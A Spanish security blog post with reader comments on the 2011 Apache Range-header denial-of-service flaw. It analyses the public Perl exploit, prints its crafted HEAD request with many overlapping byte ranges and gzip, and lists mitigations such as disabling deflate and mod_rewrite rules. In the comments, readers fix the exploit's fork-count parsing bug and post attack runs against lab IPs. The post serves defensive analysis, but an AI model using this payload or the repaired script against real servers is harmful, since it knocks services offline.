Denegación de servicio en Apache

A lo largo del día de hoy ha habido mucho movimiento en los ámbitos de la seguridad debido a una vulnerabilidad de denegación de servicio en Apache descubierta por “Kingcope”

Junto a la publicación de la vulnerabilidad se ha hecho público en Full Disclousure un pequeño script en perl encargado de sacar ventaja de la vulnerabilidad y explotarla. Por tanto se trata de una vulnerabilidad 0 day sin parche a aplicar en la cual se dispone de un exploit público muy sencillo de ejecutar.

Esta vulnerabilidad toma ventaja de un tratamiento incorrecto de la cabecera Range por parte de Apache. La cabecera Range se encarga de indicar al servidor Web que el cliente solo requiere ciertas partes de la web, permitiendo ahorrar ancho de banda.

En el caso del exploit este envía una cabecera Range al servidor, a la cual se le indican múltiples partes, en tamaño bytes, que son requeridas de la página web. Esto lo realiza mediante solicitudes HEAD al servidor añadiendo la siguiente cabecera: “Range: bytes=5-1,5-2,5-3,5-4,…,5-1299”. La clave está en que para cada parte se solicita que se comprima mediante GZIP(Accept-Encoding: gzip), dando lugar a un consumo desmesurado del servidor, principalmente CPU y RAM, que provoca una denegación del servicio en el entorno.

Hemos procedido a revisar el exploit público para entender lo que realizaba. Es bastante sencillo, veámoslo por puntos:

Para ejecutarlo únicamente hay que indicarle la IP como opción. Todo sea dicho, el argumento de los forks en “numforks” no está bien implementado y hay que modificarlo a fuego en el script, en nuestro caso hemos modificado 50 por 250:

$ perl ./killapache_pl 172.17.0.185
host seems vuln
ATTACKING 127.0.0.1 [using 250 forks]
:pPpPpppPpPPppPpppPp
...

Analizando el tráfico de red y el código del exploit vemos que lo que primero que hace es mandar la siguiente solicitud Web para comprobar si es vulnerable:

HEAD / HTTP/1.1
Host: 127.0.0.1
Range:bytes=0-
Accept-Encoding: gzip
Connection: close

Respondiendo el servidor de la siguiente forma:

HTTP/1.1 206 Partial Content
Date: Thu, 25 Aug 2011 09:59:32 GMT
Server: Apache/2.2.17 (Ubuntu)
Last-Modified: Thu, 25 Aug 2011 09:21:16 GMT
ETag: "a3e4a-b1-4ab50f366cd75"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 279068
Connection: close
Content-Type: multipart/byteranges; boundary=4ab517c4b5be3139b

El script comprueba si el servidor contesta con el “Partial”, de ser así, indica que es posible que sea vulnerable y procede a la explotación de la vulnerabilidad, enviando paquetes como el siguiente:

HEAD / HTTP/1.1
Host: 127.0.0.1
Range:bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,...,5-1297,5-1298,5-1299
Accept-Encoding: gzip
Connection: close

Tened en cuenta que se solicita por HEAD y por tanto el atacante solo recibirá como respuesta la cabecera HTTP del servidor.

Pese a que no hay parche de seguridad existen distintas alternativas para intentar subsanar el ataque tal como informan desde Daboweb

Como solución rápida se puede desactivar el deflate mediante la siguiente orden:

# apachectl -M 2> /dev/null | grep -i deflate_module
 deflate_module (shared)
# a2dismod deflate
Module deflate disabled.
Run '/etc/init.d/apache2 restart' to activate new configuration!
# /etc/init.d/apache2 restart
 * Restarting web server apache2   [ OK ]

Otra opción que nos ha dado mejores resultados es la propuesta por seclist.org empleando el módulo modrewrite con la siguiente sintaxis (el de Dabo indicado anteriormente nos ha fallado):

RewriteEngine On
RewriteCond %{HTTP:Range} ([0-9]*-[0-9]*)(\s*,\s*[0-9]*-[0-9]*)+
RewriteRule .* - [NS,L,F]

Otra opción es desactivar la cabecera Range usando el modulo headers, añadiendo la siguiente línea en la configuración:

RequestHeader unset Range

Les recomendamos aplicar lo antes posible cualquiera de las alternativas propuestas mientras esperamos al parche de seguridad, que se prevé que estará disponible en unas 48 horas.

Comments

  1. Muchas gracias por la mención a Daboweb en nombre de todo el equipo Joaquín -;)

    Saludos !!

  2. Hay un pequeño bug “adrede” ,para evitar manazas:
    No hace falta forjar a fuego…….
    Solamente añadir un ‘=’

    [code]
    if ($#ARGV > 1) {
    $numforks = $ARGV[1];
    } else {$numforks = 50;}
    [/code]

    Por esto:
    [code]
    if ($#ARGV >= 1) {
    $numforks = $ARGV[1];
    } else {$numforks = 50;}
    [/code]

  3. /exploitApache# perl killapache.pl 192.168.56.2 250
    host seems vuln
    ATTACKING 192.168.56.2 [using 250 forks]
    :pPpPpppPpPPppPpppPp
    ATTACKING 192.168.56.2 [using 250 forks]

  4. Hola dudux,

    esa es una alternativa, más simple todavía, solo hay que pasarle una opción adicional en la ejecución del script:

    # perl killapache.pl 192.168.56.2 250 1

    Yo sinceramente creo que es un fallo en el script por programarlo rápido más que un fallo intencionado. Si fuera intencionado hubiera modificado alguna parte del código que hiciera que no funcionara correctamente.

    De hecho el scrip cuando prueba si el host es vulnerable debería mirar mejor si le devuelve un status 206 en vez de “hardcodear” el “Partial”. Incluso no estaría mal asegurarse de que se trata de un Apache.

    Nosotros nos hemos creado nuestro propio script en python que comprueba todo lo indicado anteriormente y lanza el exploit.

    Por otro lado, en el post no comente nada, pero todo indica que los IBM HTTP Server basados en Apache también son vulnerables… o por lo menos la prueba que hice sobre un entorno de desarrollo demostró que lo eran.

    Saludos

  5. Si, tambien vi la opción de darle 1 parámetro de más(eso es más vago xD).
    Tendrian que haber dado ya parche official,aunque he estado unos dias OFF,,,
    Sobre la vertiente python,está claro que uno ya se cocina su propia comida.

    Salu2

  6. Al utilizar las reglas Rewrite también se debe tener en cuenta el parámetro RequestRange-Header , de esta forma quedaría algo así:

    RewriteEngine On
    RewriteCond %{REQUEST_METHOD} ^(HEAD|GET) [NC]
    RewriteCond %{HTTP:Range} ([0-9]*-[0-9]*)(\s*,\s*[0-9]*-[0-9]*)+ [OR]
    RewriteCond %{HTTP:Request-Range} ([0-9]*-[0-9]*)(\s*,\s*[0-9]*-[0-9]*)+
    RewriteRule .* – [F]